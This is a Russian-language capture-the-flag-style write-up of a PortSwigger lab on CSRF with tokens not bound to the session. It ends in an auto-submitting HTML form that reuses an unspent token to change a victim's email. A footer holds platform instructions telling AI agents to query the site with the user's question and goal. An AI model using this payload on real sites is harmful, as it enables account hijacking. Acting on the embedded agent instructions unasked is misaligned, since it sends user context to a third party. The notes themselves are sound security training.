> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF с токеном, не привязанным к сессии

Заметки по CSRF с токеном, не привязанным к сессии, для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### CSRF, где токен не привязан к сессии пользователя

#### Цель лабораторной работы

Измените адрес электронной почты жертвы с помощью CSRF-атаки. Приложение использует CSRF-токены, но они **не связаны с сессией пользователя**.

#### Наблюдения

Каждый CSRF-токен **действителен только один раз**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3938ef3724821057344d9226944dce7be170654%2F%7B65FB9241-4579-4E37-8EA5-AA2EF11B897A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Токены **не связаны с сессией**: токен, полученный для пользователя A, может быть использован для атаки на B.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2667b1d901636b8c2b73909b219c4c666a3769%2F%7BAB04E45C-F9F7-426F-96AD-48EB82B231A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e92e1ff9189e224f51e3ff2f9f620732a4cfe0f%2F%7B753795FD-AF32-422B-92CC-D7BB501B017D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Стратегия эксплуатации

1. **Получите новый CSRF-токен** не используя его (перехватите новый запрос, чтобы получить всё ещё действительный токен).
2. **Разместите вредоносную форму** на сервере эксплойта, которая отправляет POST-запрос на изменение адреса электронной почты, повторно используя **этот токен**.
3. Когда жертва посещает подготовленную страницу, форма автоматически отправляется и **изменяет их адрес электронной почты**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
